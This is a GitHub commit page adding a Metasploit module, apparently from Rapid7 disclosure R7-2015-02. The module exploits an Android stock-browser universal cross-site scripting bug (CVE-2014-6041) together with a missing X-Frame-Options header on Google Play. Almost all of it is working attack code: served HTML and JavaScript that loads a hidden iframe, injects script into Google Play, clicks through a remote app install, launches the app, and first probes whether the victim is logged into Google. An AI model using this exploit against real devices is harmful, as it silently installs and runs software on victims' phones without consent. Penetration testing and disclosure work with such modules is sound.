Skip to content

Commit 1b89242

Browse files
author
Tod Beardsley
committed
Add module for R7-2015-02
1 parent 5687028 commit 1b89242

File tree

1 file changed

+182
-0
lines changed

1 file changed

+182
-0
lines changed
Lines changed: 182 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,182 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::HttpServer::HTML
11+
include Msf::Auxiliary::Report
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Android Browser RCE Through Google Play Store XFO',
16+
'Description' => %q{
17+
This module combines two vulnerabilities to achieve remote code execution on affected
18+
Android devices. First, the module exploits a Universal Cross-Site Scripting (UXSS)
19+
vulnerability present in versions of Android's open source stock browser (the AOSP Browser)
20+
prior to 4.4. Second, the Google Play store's web interface fails to enforce a
21+
X-Frame-Options: DENY header (XFO) on some error pages, and therefore, can be targeted for script
22+
injection. As a result, this leads to remote code execution through Google Play's remote
23+
installation feature, as any application available on the Google Play store can be installed
24+
and launched on the user's device.
25+
26+
This module requires that the user is logged into Google with a vulnerable browser.
27+
28+
To list the activities in an APK, you can use `aapt dump badging /path/to/app.apk`.
29+
},
30+
'Author' => [
31+
'Rafay Baloch', # Original UXSS vulnerability
32+
'joev' # Metasploit module
33+
],
34+
'License' => MSF_LICENSE,
35+
'Actions' => [[ 'WebServer' ]],
36+
'PassiveActions' => [ 'WebServer' ],
37+
'References' => [
38+
[ 'URL', 'http://1337day.com/exploit/description/22581' ],
39+
[ 'OSVDB', '110664' ],
40+
[ 'CVE', '2014-6041' ]
41+
],
42+
'DefaultAction' => 'WebServer'
43+
))
44+
45+
register_options([
46+
OptString.new('PACKAGE_NAME', [
47+
true,
48+
'The package name of the app on the Google Play store you want to install',
49+
'com.swlkr.rickrolld'
50+
]),
51+
OptString.new('ACTIVITY_NAME', [
52+
true,
53+
'The name of the activity in the apk to launch',
54+
'com.swlkr.rickrolld/.RickRoll'
55+
]),
56+
OptBool.new('DETECT_LOGIN', [
57+
true, "Prevents the exploit from running if the user is not logged into Google", true
58+
]),
59+
OptBool.new('HIDE_IFRAME', [
60+
true, "Hide the exploit iframe from the user", true
61+
])
62+
], self.class)
63+
end
64+
65+
def on_request_uri(cli, request)
66+
print_status("Request '#{request.method} #{request.uri}'")
67+
68+
if request.method.downcase == 'post'
69+
print_error request.body[0..400]
70+
send_response_html(cli, '')
71+
else
72+
print_status("Sending initial HTML ...")
73+
send_response_html(cli, exploit_html)
74+
end
75+
end
76+
77+
def exploit_html
78+
<<-EOS
79+
<html>
80+
<body>
81+
<script>
82+
83+
var APP_ID = '#{datastore['PACKAGE_NAME']}';
84+
var MAIN_ACTIVITY = '#{datastore['ACTIVITY_NAME']}';
85+
var HIDDEN_STYLE = '#{hidden_css}';
86+
87+
function exploit() {
88+
89+
var src = 'https://play.google.com/store/apps/'+(new Array(2000)).join('aaaaaaa');
90+
var frame = document.createElement('iframe');
91+
frame.setAttribute('src', src);
92+
frame.setAttribute('name', 'f');
93+
frame.setAttribute('style', HIDDEN_STYLE);
94+
function uxss(src) {
95+
window.open('\\u0000javascript:eval(atob("'+ btoa(src) +'"))', 'f');
96+
}
97+
98+
var loaded = false;
99+
frame.onload = function() {
100+
if (loaded) return;
101+
loaded = true;
102+
setTimeout(function(){
103+
uxss('history.replaceState({},{},"/"); x=new XMLHttpRequest;x.open("GET", "/store/apps/details?id='+APP_ID+'");x.onreadystatechange=function(){'+
104+
'if(x.readyState==4){ document.open("text/html"); document.write(x.responseText); document.close(); top.postMessage("1", "*") }};x.send();');
105+
}, 100);
106+
};
107+
108+
var i1, i2;
109+
var w = window;
110+
window.onmessage = function(event) {
111+
if (event.data === '1') {
112+
i1 = w.setInterval(function(){
113+
uxss('document.body.innerHTML.match(/This app is compatible/).length; document.querySelector("button.price").click(); top.postMessage("2", "*");');
114+
}, 500);
115+
} else if (event.data === '2') {
116+
w.clearInterval(i1);
117+
i2 = setInterval(function(){2
118+
uxss('document.querySelector("button.play-button.apps.loonie-ok-button").click(); top.postMessage("3", "*");');
119+
}, 500);
120+
} else if (event.data === '3') {
121+
clearInterval(i2);
122+
setTimeout(function(){
123+
setInterval(function(){
124+
frame.src = 'intent:launch#Intent;SEL;component='+MAIN_ACTIVITY+';end';
125+
}, 500);
126+
}, 1000);
127+
}
128+
}
129+
130+
document.body.appendChild(frame);
131+
}
132+
133+
#{detect_login_js}
134+
135+
</script>
136+
137+
</body>
138+
</html>
139+
EOS
140+
end
141+
142+
def detect_login_js
143+
if datastore['DETECT_LOGIN']
144+
%Q|
145+
var img = document.createElement('img');
146+
img.onload = exploit;
147+
img.onerror = function() {
148+
var url = '#{backend_url}';
149+
var x = new XMLHttpRequest();
150+
x.open('POST', url);
151+
x.send('Exploit failed: user is not logged into google.com')
152+
};
153+
img.setAttribute('style', HIDDEN_STYLE);
154+
var rand = '&d=#{Rex::Text.rand_text_alphanumeric(rand(12)+5)}';
155+
img.setAttribute('src', 'https://accounts.google.com/CheckCookie?continue=https%3A%2F%2Fwww.google.com%2Fintl%2Fen%2Fimages%2Flogos%2Faccounts_logo.png'+rand);
156+
document.body.appendChild(img);
157+
|
158+
else
159+
'exploit();'
160+
end
161+
end
162+
163+
def hidden_css
164+
if datastore['HIDE_IFRAME']
165+
'position:absolute;left:-9999px;top:-9999px;height:1px;width:1px;visibility:hidden;'
166+
else
167+
''
168+
end
169+
end
170+
171+
def backend_url
172+
proto = (datastore["SSL"] ? "https" : "http")
173+
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
174+
port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"
175+
"#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch"
176+
end
177+
178+
def run
179+
exploit
180+
end
181+
182+
end

0 commit comments

Comments
 (0)